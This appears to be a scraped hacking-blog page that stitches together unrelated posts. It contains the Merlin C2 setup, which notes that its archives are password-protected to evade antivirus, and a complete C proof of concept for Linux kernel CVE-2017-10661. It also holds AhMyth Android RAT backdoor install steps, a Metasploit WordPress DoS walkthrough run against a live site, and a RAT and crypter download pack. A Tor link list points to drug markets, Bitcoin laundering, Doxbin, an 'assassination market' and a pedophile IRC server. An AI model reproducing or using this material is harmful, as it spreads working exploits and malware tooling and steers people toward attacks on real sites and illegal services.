Merlin

Merlin (BETA)

Merlin is a cross-platform post-exploitation HTTP/2 Command & Control  server and agent written in golang.
An introductory blog post can be found here: https://medium.com/@Ne0nd0g/introducing-merlin-645da3c635a

Getting Started

The quickest and easiest way to start using Merlin is download the pre-compiled binary files found in the Releases section. The files are compressed into 7z archives and are password protected to prevent Anti-Virus inspection when downloading. The password is merlin.

Install GO

In order to run Merlin from source, or to compile Merlin yourself, the Go programing language must be installed on the system. However, if you just want to run a pre-compiled version, you do not need to install Go.
Download and install GO: https://golang.org/doc/install

Download Merlin Server

It is recommended to download the compiled binaries from the Releases section

Ensure your GOPATH environment variable is set

Download Merlin with Go
go get github.com/Ne0nd0g/merlin
If you want to use git instead of Go, merlin must be in your GOPATH i.e. $GOPATH/src/github.com/Ne0nd0g/merlin
cd $GOPATH/src/github.com/Ne0nd0g;git clone https://github.com/Ne0nd0g/merlin/

Run Merlin Server

Merlin Server can be run as a script or compiled and run as a standalone binary file.
go run cmd/merlinserver/main.go

Compile Merlin Server

Compile Merlin into an executable using Make make server-windows or make server-linux or make server-darwin

Merlin Server Usage

  -debug
        Enable debug output
  -i string
        The IP address of the interface to bind to (default "0.0.0.0")
  -p int
        Merlin Server Port (default 443)
  -v    Enable verbose output
  -x509cert string
        The x509 certificate for the HTTPS listener (default "C:\\Merlin\\data\\x509\\server.crt")
  -x509key string
        The x509 certificate key for the HTTPS listener (default "C:\\Merlin\\data\\x509\\server.key")

Merlin Server Commands

Merlin is equipped with a tab completion system that can be used to see what commands are available at any given time. Hit double tab to get a list of all available commands.

exit    Exit and close Merlin

help   Show Merlin help menu

quit    Exit and close Merlin

?      Show Merlin help menu

Agent Commands

These are the commands to control an agent from the server. Tab completion can be used to select an Agent's identifier.

agent cmd <agent id> <command>       A command to run on a remote agent

agent control <agent id> <command>  Configure/Control a remote agent (not the host)
                [kill,sleep,padding,maxretry]

agent info <agent id>               Display all information for an agent

agent list                          List agents

TLS Certificates

By default, Merlin will load server.crt and server.key from the data/x509/ directory. You must generate your own certificate pair and place them in this directory.

Third Party Libraries

The 3rd party libraries used with Merlin are kept in the vendor directory. This project will default to using the library files in that folder.

Running Merlin Agent

The agent portion of Merlin should be run as a compiled binary file on a target host.

It is recommended to download the compiled binaries from the Releases section

Ensure your GOPATH environment variable is set!

Compile Merlin Agent into an executable
make agent-windows or make agent-linux or make agent-darwin
Merlin Agent can also be compiled without Make, using just go. To compile Merlin Agent with your hard coded Merlin Server's address, so it doesn't have to specified on the command line, include -ldflags -X main.url=https://acme.com:443/

Example: go build -o merlinagent.exe -ldflags "-X main.url=https://acme.com:443/" cmd/merlinagent/main.go

Run Merlin Agent as script: go run cmd/merlinagent/main.go

USAGE

  -debug
        Enable debug output
  -sleep duration
        Time for agent to sleep (default 10s)
  -url string
        Full URL for agent to connect to (default "https://127.0.0.1:443")
  -v    Enable verbose output 

Download - https://github.com/Ne0nd0g/merlin 

Read More

Linux kernel < 4.10.15 - Race Condition Privilege Escalation

 *======================================================================*

/*
 * PoC for CVE-2017-10661, triggers UAF with KASan enabled in kernel 4.10
 */
#include <string.h>
#include <sys/timerfd.h>
#include <sys/time.h>
#include <sys/msg.h>
#include <sys/types.h>
#include <sys/socket.h>
#include <sys/mman.h>
#include <errno.h>
#include <time.h>
#include <netinet/ip.h>
#include <netinet/in.h>
#include <arpa/inet.h>
#include <unistd.h>
#include <stdlib.h>
#include <stdio.h>
#include <stdint.h>
#include <pthread.h>
#define RACE_TIME 1000000
int fd;
int fd_dumb;
int count=0;


void* list_add_thread(void* arg){

    int ret;

    struct itimerspec new ={
        .it_interval={
            .tv_sec=100,
            .tv_nsec=100
        },
        .it_value={
            .tv_sec=100,
            .tv_nsec=100
        }
    };

    int i=0;
    while(i<1){

        ret=timerfd_settime(fd,3,&new,NULL);

        if(ret<0){
            perror("timerfd settime failed !");
        }
        i++;
    }


    return NULL;
}

void* list_del_thread(void* arg){

    int ret;

    struct itimerspec new ={
        .it_interval={
            .tv_sec=100,
            .tv_nsec=100
        },
        .it_value={
            .tv_sec=100,
            .tv_nsec=100
        }
    };

    int i=0;
    while(i<1){
        ret=timerfd_settime(fd,1,&new,NULL);

        if(ret<0){
            perror("timerfd settime failed !");
        }
        i++;
    }
    return NULL;

}

int post_race()
{
    int ret;

    struct itimerspec new ={
        .it_interval={
            .tv_sec=100,
            .tv_nsec=100
        },
        .it_value={
            .tv_sec=100,
            .tv_nsec=100
        }
    };

    int i=0;

    struct timeval tv={
        .tv_sec = 120+count*2,
        .tv_usec = 100
    };
    ret=settimeofday(&tv,NULL);
    if(ret<0){
        perror("settimeofday");
    }
    return 0;
}

int do_race(){
    int ret_add[2];
    int i;
    int j;
    pthread_t th[2]={0};

    i=0;
    while(i<RACE_TIME){
        if(i%128)
            printf("%d\n",i);


        fd=timerfd_create(CLOCK_REALTIME,0); // create the victim ctx
        if(fd<0){
            perror("timerfd craete failed!");
            return -1;
        }
        ret_add[0] = pthread_create(&th[0],NULL,list_add_thread,(void*)1);
        ret_add[1] = pthread_create(&th[1],NULL,list_add_thread,(void*)2);

        for( j=0;j<2;j++){
            pthread_join(th[j],NULL);
        }

        close(fd);
        usleep(150000);

        i++;
        count++;
    }
    return 0;
}

int main(int argc, char const *argv[])
{
    int ret;

    // add dumb ctx
    void* area;
    void* base;
    struct itimerspec new ={
        .it_interval={
            .tv_sec=100,
            .tv_nsec=100
        },
        .it_value={
            .tv_sec=100,
            .tv_nsec=100
        }
    };
    fd_dumb = timerfd_create(CLOCK_REALTIME,0);

    ret=timerfd_settime(fd_dumb,3,&new,NULL);
    if(ret<0){
        perror("timerfd settime failed !");
    }

    ret=do_race();
    if(ret <0){
        puts("race failed!");
        goto error_end;
    }

    sleep(5);
error_end:
    close(fd);
    exit(1);
}

*======================================================================*

Read More

AhMyth Android Rat

Beta Version

It consists of two parts :

• Server side : desktop application based on electron framework (control panel)
• Client side : android application (backdoor)

Getting Started

You have two options to install it

1) From source code

Prerequisite :

• Electron (to start the app)
• Java (to generate apk backdoor)
• Electron-builder and electron-packer (to build binaries for (OSX,WINDOWS,LINUX))

1. git clone https://github.com/AhMyth/AhMyth-Android-RAT.git
2. cd AhMyth-Android-RAT/AhMyth-Server
3. npm start

2) From binaries

Prerequisite :

https://github.com/AhMyth/AhMyth-Android-RAT

• Download a binary from https://github.com/AhMyth/AhMyth-Android-RAT/releases
• Java (to generate apk backdoor)

Screenshots

---

---

Video Tutorial

---

I will not be responsible for any direct or indirect damage caused due to the usage of this tool, it is for educational purposes only.

Read More

DoS in Wordpress with xmlrpc.php

That there are guys I bring this small 

xmlrpc.php for what it serves? 

Xmlrpc.php is in charge of allowing us to post remotely through Microsoft Word, Textmate, Thunderbird, smartphones, among other clients. All this through the XML-RPC protocol. 

It will also be responsible for receiving the pingbacks (links of other blogs to some of our articles) and send the trackbacks (links from our blog to articles from another blog). 

Well the vulnerability of xmlrpc I long ago
this file is used to make a powerful attack Two, where friend metasploit already made his work: D

Code:

msf > use auxiliary/dos/http/wordpress_xmlrpc_dos    
msf auxiliary(wordpress_xmlrpc_dos) > show actions          
...actions...
msf auxiliary(wordpress_xmlrpc_dos) > set ACTION <action-name>    
msf auxiliary(wordpress_xmlrpc_dos) > show options          
...show and set options...
msf auxiliary(wordpress_xmlrpc_dos) > run

I look for a website with wp vulnerable versions: 3.5 - 3.9.2 

I do not show the website to demonstrate something ethical (do not lie to denounce jajaj)

After completing the rhost and targeturi we give to run

and with this we will be starting the two, the website falls at times, but let us see a
speed test of load before and after:

Before:



With the two active:





Regards!

Read More

Tutorial Using TOR and Browsing The Deep Web

What Is TOR?

TOR stands for The Onion Router. It is a network of computers set up to route the connection through each other in order to anonymize the connection. Everything is encrypted and decrypted between each computer. Those computers are referred to as nodes.
There are also hidden websites accessible only through TOR. The links end in .onion and are usually a randomized string of numbers and letters.

Setup

1. Download the browser bundle from TorProject.org

2. Extract it to a folder. I have it in a folder on my desktop.

3. Open up the folder and open the file "Start TOR Browser.exe"
This will open up a small window which will connect you to the TOR network.
Once you are connected it will open the TOR Browser which is basically a modified version of Firefox..

What Now?

Now for the fun stuff. Here I shall give you a list of links. Browse as you wish and explore the Dark Web. There are many interesting things to be found involving privacy, bitcoin, hacking, history, rebellion, drugs, weapons, ebooks and various other things.

My Link List

Hidden Wiki is recommend to visit for newcomers.

http://3suaolltfj2xjksb.onion/hiddenwiki.../Main_Page Hidden Wiki Mirror

==Personal Pages and Blogs==
http://3suaolltfj2xjksb.onion/index.html TriPh0rces Page (library and software)
http://7ceq7omeec5zg3yx.onion/index.html LNX80's Page
http://ay5kwknh6znfmcbb.onion/ Buried Into Darknet - Buried's Page
http://b2psupe2rienya5n.onion/ Americans for Disparity

==Search Engines==
http://nstmo7lvh4l32epo.onion/ The Abyss
http://3g2upl4pq6kufc4m.onion/index.html DuckDuckGo

==Other==
http://wn323ufq7s23u35f.onion/doxviewer.php DoxBin
http://zw3crggtadila2sg.onion/imageboard/ TorChan
http://jntlesnev5o7zysa.onion/ The Pirate Bay
http://sc3njt2i2j4fvqa3.onion/ Newzbin
http://rrcc5uuudhh4oz3c.onion/ The Intel Exchange


==TOR Link Lists and Directories==
http://eng.anarchopedia.org/Tor_network_links Tor Links
http://4jbxjjrbakmdcmvb.onion/ TorMarks
http://32rfckwuorlf4dlv.onion/ Onion URL Repositry
http://dppmfxaacucguzpc.onion/ TOR Dir

==Storage and Hosting==
http://utovvyhaflle76gh.onion/ sTORage
http://xqz3u5drneuzhaeo.onion/ Freedom Hosting
http://eojtrm7hr2mtkoaa.onion/ Onion Hosting
http://torhostg5s7pa2sn.onion/ torhost.onion Free Anonymous Hosting
http://dg6exbqq42btatnw.onion/ GNUnet files sharing
http://3fnhfsfc2bpzdste.onion/ Onionweb filehosting
http://ocrlwkklxt3ud64u.onion/ TOR Upload Service
http://3vnjj7h6c6vw2yh5.onion/hello.php Liberty's Hackers


==Hacking==
http://clsvtzwzdgzkjda7.onion/index.php
http://3vnjj7h6c6vw2yh5.onion/hello.php Liberty's Hackers


==eBooks==
http://fkyvwpu7ccsorke2.onion/ noreason
http://am4wuhz3zifexz5u.onion/ Tor Library (mirror: http://2zyakjq2hvtbg6qd.onion/om/am4wuhz...z5u.onion/)
http://kpynyvym6xqi7wz2.onion/ Parazite
http://clsvtzwzdgzkjda7.onion/wiki/index...the_Matrix HackBB Wiki - How to Exit the Matrix
http://xsin4xbme24aatvk.onion/ Tards Library
http://p2uekn2yfvlvpzbu.onion/ LiberaTOR
http://f3ew3p7s6lbftqm5.onion/index.php?dir=text%2F
http://c3jemx2ube5v5zpg.onion/ Jotunbane's Reading Club

==Random==
http://2ue35wfkmo3dlgjm.onion/ Anonymous Internet Banking
http://2v3o2fpukdlpk5nf.onion/ Bitcoin
http://6g2osf4l534bozmu.onion/ RespiraTOR
http://2zyakjq2hvtbg6qd.onion/ Lots of Mirrors
http://wznf5ffcbr3x62gj.onion/index.php/Main_Page The Gates To The Clos Network
http://nwycvryrozllb42g.onion/ Destination Unknown
http://pwjxmvlir72hep5u.onion/AllFilesByName.html
http://balrqba4x57ofa6s.onion/ Torque Spider
http://c4wcxidkfhvmzhw6.onion/index.en.html PrivacyBox
http://56twxq4s4hogh2ae.onion/index.html BitPoker
http://kgz3rxvm6dywgess.onion/ The Forbidden Arts
http://wf74ekmmmgg2pe3v.onion/ The TORBack Machine

Nekros Link list:

Code:

Compiled by Nekro. Please spread it around! See my profile for past and potentially future versions and some other interesting stuff.

---------------------------------------------------------------------------------------------------------

Introductions: Basic places to start on the .onion network.

ion's Hidden Wiki (Traditional wiki after Matt's went down) - The original Hidden Wiki is back up! It's a little outdated but it still contains all of it's misc. pages: http://kpvz7ki2v5agwt35.onion/wiki/index.php/Main_Page
Hidden Wiki Mirror - A direct mirror of ion's Hidden Wiki: http://ciz4t2plqme3e73a.onion/TheHiddenWiki/kpvz7ki2v5agwt35.onion/wiki/index.php/Main_Page.html
noreason's Hidden Wiki Mirror - ion mirror: http://fkyvwpu7ccsorke2.onion/mirrors/-thw/-The%20Hidden%20Wiki%20July%202012/kpvz7ki2v5agwt35.onion/wiki/index.php/Main_Page.html
Censored Wiki - A censored Hidden Wiki mirror with better uptime. Hosted by TriPh0rce: http://3suaolltfj2xjksb.onion/hiddenwiki/
Hackbloc's Hidden Wiki Mirror - User edited mirror. Best alternative to the original Wiki as far as pages go: http://xqz3u5drneuzhaeo.onion/users/hackbloc/index.php/Mirror/kpvz7ki2v5agwt35.onion/Main_Page
Hidden Wiki Mirror - Heavily outdated. Use if you have to: http://7jguhsfwruviatqe.onion/index.php/Main_Page
OnionWiki - Share information about the technical side of Tor: http://ah5dm66duazqkz6h.onion/w/index.php/Main_Page
Core.onion - The long-standing introduction place for Tor: http://eqt5g4fuenphqinx.onion/
TORDIR - User-submitted links: http://dppmfxaacucguzpc.onion/
Sites Deep Web - Uncategorized list of links: http://ekwreugkil5ncyyh.onion/
Torlinks - Fast, moderated, and up-to-date without censorship. Essentially a mirror of THW but not in the Wiki format: http://torlinkbgs6aabns.onion/index.php
CircleServices - Domain hosted by mixie. Contains a lot of basic tools you'll find, like file hosting and a PM service: http://4eiruntyxxbgfv7o.onion/
Administrator's Index - Links some of his own services, like TSN, Hidden Image Site, OnionBookmark, etc: http://jm6miyk4tog63kqs.onion/
OnionBookmark - Keep track of your bookmarks on the Tor network. Choose whether to have your bookmarks public or private: http://x7yxqg5v4j6yzhti.onion/
Start Book - Another way to keep track of bookmarks and favorites: http://53otrkyvae462lhb.onion/
Down Or Not - Check if sites are online. Very useful!: http://zw3crggtadila2sg.onion/downornot/


Search engine: "Google" for Tor. Search engines are generally much more unreliable. I suggest using indexes.

TORCH - Supposedly indexes over 600,000 .onion sites: http://xmh57jrzrnw6insl.onion/
DuckDuckGo - Also an awesome clearnet search engine that respects your privacy. This doesn't actually search for Hidden Services, but it's similar to searching with a proxy: http://3g2upl4pq6kufc4m.onion/
DeepSearch - An alternate search engine that indexes Hidden Services: http://xycpusearchon2mc.onion/
The Abyss - Search engine run by Administrator, updated often. Now accepts user-submitted links: http://nstmo7lvh4l32epo.onion/
Torgle - The old search engine has been resurrected!: http://zw3crggtadila2sg.onion/torgle/


Bitcoin Laundry: Services for Bitcoin, a decentralized (mostly) anonymous currency used in Tor. Obscure your Bitcoins' history.

Bitcoin Fog - I had a chance to test this out and it is legitimate. It's a great automated washing service: http://fogcore5n3ov3tui.onion/
TORwallet - Laundry service and a wallet. Gives you a random URL to store your Bitcoins in. Read more here http://bitcoinmagazine.net/review-torwallet/: http://nci2szjrwjqw2zbi.onion/
(BitMix is a scam.)


Text Pasting
qPasteBin - Hosts txt files, just like clearnet Pastebin: http://4eiruntyxxbgfv7o.onion/paste/
Pastebin - Pastebin made by cerulean at OnionWare: http://zw3crggtadila2sg.onion/pastebin/

File Uploading
TOR Upload Service - Upload any type of file, no restrictions. Large file size support: http://ocrlwkklxt3ud64u.onion
Onion Fileshare - 2GB upload file size limit!!!: http://f3ew3p7s6lbftqm5.onion/
sTORage - Public file hosting. No CP. Anyone can delete files. It's being shut down soon: http://utovvyhaflle76gh.onion/
ES Simple Uploader - Hosts images, docs, etc: http://i7hknwg4up2jhdkx.onion/
TOR Upload Service - A private place to hold files. Randomized URL and file name: http://ocrlwkklxt3ud64u.onion/
Tor Upload - Public file hosting: http://zmog4gnpn6wpooht.onion/index.php
AnonyShares - Hosts rar/zip/etc archives: http://4eiruntyxxbgfv7o.onion/anonyshares.html

Images
ImgZapr - Hosts image files: http://4eiruntyxxbgfv7o.onion/imgzapr/
SquareBoard - A public gallery of high-res images under 4MB: http://squareh565qgkioq.onion/
Onion Image Uploader - Hosts image files: http://xfq5l5p4g3eyrct7.onion/

Newzbin - Warez site: http://sc3njt2i2j4fvqa3.onion/
Lossless Audio Files - Music; great sound quality: http://wuvdsbmbwyjzsgei.onion/

Ebooks
Boobs - eBooks: http://x7zywrpaqxxqboob.onion/
LiberaTor - Military, anarchy, weapons, etc stuff: http://p2uekn2yfvlvpzbu.onion/
Tard's Library - User-run ebook site. Lots of content: http://xsin4xbme24aatvk.onion/
The Tor Library - Over 48GB of books on all kinds of subjects: http://am4wuhz3zifexz5u.onion/
NoReason's Site - Has loads of info and pdf files on different subjects. High down-time, but it occasionally goes up. It's an amazing site: http://fkyvwpu7ccsorke2.onion/
Fenergy - Has some ebooks and links on energy resources: http://jpmgvki37zcy7o35.onion/fenergy/
The Pirate Bay - The .onion mirror of The Pirate Bay. If TPB is censored in your country, use this!: http://jntlesnev5o7zysa.onion/
Library Genesis - Not an .onion site, but it's a massive library of e-books. As far as I know, you can only access it using a proxy or Tor: http://gen.lib.rus.ec/


Hosting websites: Information for .onion websites.

Freedom Hosting - Attacked by Anonymous, hosts a huge portion of .onion sites. Currently, invite only. Excellent uptime. GUI: http://xqz3u5drneuzhaeo.onion/
OnionHosting - Paid-for hosting by Administrator. Server-side: http://bj6sy3n7tbt3ot2f.onion/
ANONSERVER - Unlimited DB, shell account, 5gb quote with upgrades. 1.50 BTC/month, 10BTC/year: http://yt6zylmoblq5pwiv.onion
SnapBBS - Hosts simplistic forums: http://4eiruntyxxbgfv7o.onion/snapbbs/
Tor WebDesign Guidelines - Doesn't host content, but has basic guidelines for making a site: http://wf4df37hrebhwzts.onion/
See the official Tor project site on information to host your own .onion site without a third party.
Also see TerraNet IRC. Join channel #hosting. Ask laem for a VM. Tell him Nekro sent you. Update: TerraNet appears to be down.


Chans/Imageboards - Kind of like 4chan and the likes. MAY CONTAIN QUESTIONABLE CONTENT. See the Chan page on the Cleaned Wiki.

Tiki Board - Danbooru style imageboard. CP not allowed: http://tikiv7ymwdqpv3ze.onion/
Torchan - Birthday December 2011. Intelligent discussion, good admins, many boards. Reincarnation of the original Torchan. Moderated for child porn: http://zw3crggtadila2sg.onion/imageboard/
Anonchan - Birthday November 2011. Went viral after conception. Over 1000 posts in first month. Kind of cancerous now. Russians attacked the board, 404ing most threads. Moderated by me. /b/ Random, /bm/ Black Market. Considering bringing back /jb/ Jailbait: http://od6j46sy5zg7aqze.onion/
Hidden Image Site - Moderated for CP. Mostly a dumping ground for spam: http://wyxwerboi3awzy23.onion/
TriChan - Good for bronies. Hosted by TriPh0rce. Non-CP: http://3suaolltfj2xjksb.onion/chan/
Thorlauta - Successor to Torlauta. Finnish, but has some nice added board features like a search bar: http://zqiirytam276uogb.onion/
Lukochan - A Russian/English discussion board in imageboard style. Extremely inactive but I noticed it has potential so I stuck it in here: http://562tqunvqdece76h.onion/Lukochan/
Deaths: RundaChan, Bobby's Board.


Boards: Mostly SnapBBS and phpBB. Normal forums.

TheForbiddenArts - Talk about anything and everything. User registration required at this time: http://kgz3rxvm6dywgess.onion/
ReddiTOR Reloaded - Reddit revived on Tor (2012/08/08). DOWN AGAN: http://gmyzy5exjw4pimvf.onion/
Onion Site Reviews - Review .onion sites in an organized way: http://4eiruntyxxbgfv7o.onion/snapbbs/5112d4d2/
Assassination Market - Famous SnapBBS board; mercenaries for hire: http://4eiruntyxxbgfv7o.onion/snapbbs/1acda566/
Underground Market Board - No escrow marketplace: http://4eiruntyxxbgfv7o.onion/snapbbs/1b82f13e/
Onionforum 2.0 - Forums for discussions. Meh discussion, Admins gone: http://65bgvta7yos3sce5.onion/
Tor Help Forum - Basic convos and helpful for newbies. Mostly dead: http://zntpwh6qmsbvek6p.onion/forum/index.php
Talk.masked - Very famous discussion board. Anon-posting: http://ci3hn2uzjw2wby3z.onion/
(Open to suggestions, e-mail me)


Networking: Social networking.

Torbook - Facebook for Tor. Has a public square for discussions: http://ay5kwknh6znfmcbb.onion/torbook/
Questions and Answers - A cool truth game: http://ajqaivfxtqy3fdlr.onion/qa/index.php
TorStatusNet - Similar to Twitter for Tor. Hosted by Administrator: http://lotjbov3gzzf23hc.onion/
multi.ver.se - Uncensored social network developed by the Chinese Pirate Party: http://ofrmtr2fphxkqgz3.onion/


Blogging/Revolutionary: Blogs on Tor. May contain some Revolutionary information. They pretty much go hand-in-hand in Onionland.

Nekro's Onion #Dwelling# - My blog. Contains personal updates, links, and contact info: http://p43g3uyr4dhneura.onion/blog/
Wikileaks - If clearnet Wikileaks gets attacked, you know where to go to: http://isax7s5yooqgelbr.onion/
My Hidden Blog - Administrator's site. Frequently updated and has some interesting information. Also supports comments: http://utup22qsb6ebeejs.onion/
Tornado - User-supported blog. Polls, comments, and a forum: http://b6kpigzhrdhibmos.onion/d6/
Censor This! - A blog talking about censorship. It's not updated too often, but interesting nonetheless: http://cxoz72fgevhfgitm.onion/
ParaZite - Incredibly strange but well-made: http://kpynyvym6xqi7wz2.onion/
FREEFOR - A blog-ish site that contains a Wiki, forum, chat, and a couple more features: http://tns7i5gucaaussz4.onion/
Against Servants - A tl;dr about terrorism, foreign affairs, and fascist leaders: http://hlmrraadkb646464.onion/
Croat's Blog - Dead whistleblowing blog from Croatia. Shame: http://kv77v7n5kblz5tpw.onion/
Area 51 Archives - A site that allegedly will be soon setting up a Wiki to mirror some of area51archives.com's content: http://u3dqz36dcvhwd7kv.onion/


Email/Messaging: Communication.

TorPM - Tor private messaging: http://4eiruntyxxbgfv7o.onion/pm/
Tor Mail - Email services. *@tormail.org: http://jhiwjjlqpyawmpjx.onion/
PrivacyBox - The Tor version of PrivacyBox.de. Seems like a great e-mail service: http://c4wcxidkfhvmzhw6.onion/index.en.html
CryptoCat - Encrypted messaging, also based on clearnet: http://xdtfje3c46d2dnjd.onion/


Hax: Hacking, cracking, phreaking, doxing, security, etc.

HackBB - Forums for hacking, hosts some content. Great community: http://clsvtzwzdgzkjda7.onion/
Hashparty - Cracking site: http://3terbsb5mmmdyhse.onion/
Weird and Wonderful Old Stuff - Collection of old DOS and Windoze software: http://xqz3u5drneuzhaeo.onion/users/dosbox2/
Doxbin - A large index of personal identifying information. User-submitted. Similar to /i/ or personal army or the trends you see on Pastebin: https://doxbinumfxfyytnh.onion/
Requiem - Remove Apple's DRM security. Confirmed by many users as legitimate: http://tag3ulp55xczs3pn.onion/cgi-bin/ssi/index.shtml


Marketplaces: Places where you can buy stuff! Or research a particular illegal subject (ahem, drugs).

Silk Road - Infamous on the news. Excellent products and (mostly) reliable sellers. This is the REAL AND ONLY LINK!!!: http://silkroadvb5piz3r.onion/index.php/silkroad/home
Black Market Reloaded - Excellent products, smaller than Silk Road. Doesn't require a fee to be a seller: http://5onwnspjvuk7cwvk.onion/
Black Marked Reloaded mirror 1 - Post by backopy on BMR forums, "In order to maximize the capacity, two backup addresses had been created.": http://hh6okght4faayumz.onion/
Black Market Reloaded mirror 2 - If the others aren't working, use this: http://aalndxwqg53anxao.onion/
BMR Forums -  Discussions: http://fec33nz6mhzd54zj.onion/
Silk Road Forums - Discussions: http://dkn255hz262ypmii.onion/index.php
TorDrugResource - Chemistry, pharmacology, cultivation, and lots of other information on different types of illicit substances. Mostly PDFs: http://y47ylcppnh3afqk4.onion/


Pornography: Normal adult sites on Tor.

Starfuckers, Inc. - Celebrity nudes: http://mvdezygqixx3ucpl.onion/
Adult Pictures - A large album of various porn pictures: http://54dgeda4ik6iypui.onion/
bitpron - Buy porn with Bitcoins. Cheap prices. Unconfirmed: http://eryedcdjhwufuelr.onion/


Gaming: Puzzles, etc.

TorChess - A chess server on Tor! Great UI and nice functionality. Profiles: http://uohpyy4u52javvyg.onion/
Exit The Matrix - Currently the only browser game on Tor! Take the red or blue pill. Unfortunately, we still need to find a home for it, so for now, it will be hosted on sTORage: http://utovvyhaflle76gh.onion/sTORage/exit_the_matrix/index.html


Misc: Cool websites that don't fit any of the above.

Anonymoose Chat - Plain HTML chat. Doesn't really fit anywhere else...: http://c2hluuzwi7tuceu6.onion/
TorBackMachine - Same guy who hosted OnionForum 3.0. This is supposed to be an archive similar to Wayback Machine: http://wf74ekmmmgg2pe3v.onion/
torservers - Non-profit generous site that runs exit nodes. You can donate in a variety of ways: http://hbpvnydyyjbmhx6b.onion/
Mirrorserver - A huge place dedicated to mirroring .onion sites and endangered clearnet sites: http://2zyakjq2hvtbg6qd.onion/
media.torproject - "media is the canonical archive of all Tor images, videos, and related files." Need a Tor image/video? This is the right place: http://p3igkncehackjtib.onion/
Long Live the enV2 - A beautifully weird site about the LG enV2. I've got no idea why this was created in the first place, but...: http://iwdmsbpxclyjhi4e.onion/index.html
Carson - It's a poem. But a good poem. Yep: http://carson27rcopqmms.onion/
C'Thulhu - Infamous assassin group on Tor. *Highly* doubt it's legitimate, but interesting nonetheless: http://iacgq6y2j2nfudy7.onion/
Beneath VT - Information on the tunnels under Virginia Tech: http://74ypjqjwf6oejmax.onion/
Indymedia Keyserver - A place to distribute your PGP public key: http://qtt2yl5jocgrk7nu.onion/
Therapy - Talk about your problems with this cleverbot-esque robot. It used to be named "Eliza", but now the "primary therapist" is a Dr. Robert: http://nel2xugswcy7qv7r.onion/
Human Experiments - "We go, where few dare". Supposedly collects data from torture sessions. Obviously fake, but still a famous landmark: http://xqz3u5drneuzhaeo.onion/users/experiments/
Mariana's Web - Experience the forbidden: http://dx37guvtyy7wil3n.onion/index.html
Gateway - An i2p proxy! It routes you through the i2p network and allows you to visit eepsites. Read more about i2p @ http://www.i2p2.de/. For a large list of i2p sites, visit the eepsite http://identiguy.i2p. Appears to be down: http://6dyi4t72u7y6g763.onion/


IRC: IRC servers. Needs an IRC client to use, such as XChat or mIRC. Default ports are 6667. Type /list in the dialog box to see all the channels.

OnionNet: Biggest Onionland IRC network

4eiruntyxxbgfv7o.onion - mixie
ftwircdwyhghzw4i.onion - FTW
renko743grixe7ob.onion - Renko
jkpos24pl2r3urlw.onion - PB (Pedoboard)
nissehqau52b5kuo.onion - Nissehult

TerraNet: Gambling and chat. Appears to be down.

node1 - jtqpxntbfv2ufh3j.onion
node2 - 2tx6s2gx3ik7zvnew.onion
node3 - ijhnqerbqjnzanxa.onion
node4 - isf3lbld6oxwibxu.onion

KillYourIRC Gateway: Access IRC2P (I2P's IRC)
lqvh3k6jxck6tw7w.onion

Freenode: .onion version of Freenode
p4fsi4ockecnea7l.onion

OFTC: Big support server for Tor, lots of channels, fairly active.
37lnq2veifl4kar7.onion

Read More

Crypters Pack

RATs:
- Orcus 1.9.1 with plugins
- njRAT 0.8 with plugins

Crypters:
- OwnZ Crypter 3.5.9
- Morpheus Crypter
- KazyCrypter
- Infinity Crypter (beta)
- CrypteX Advanced
- CodeluxCrypter 3.0.1
- AegisCrypter

Download

Read More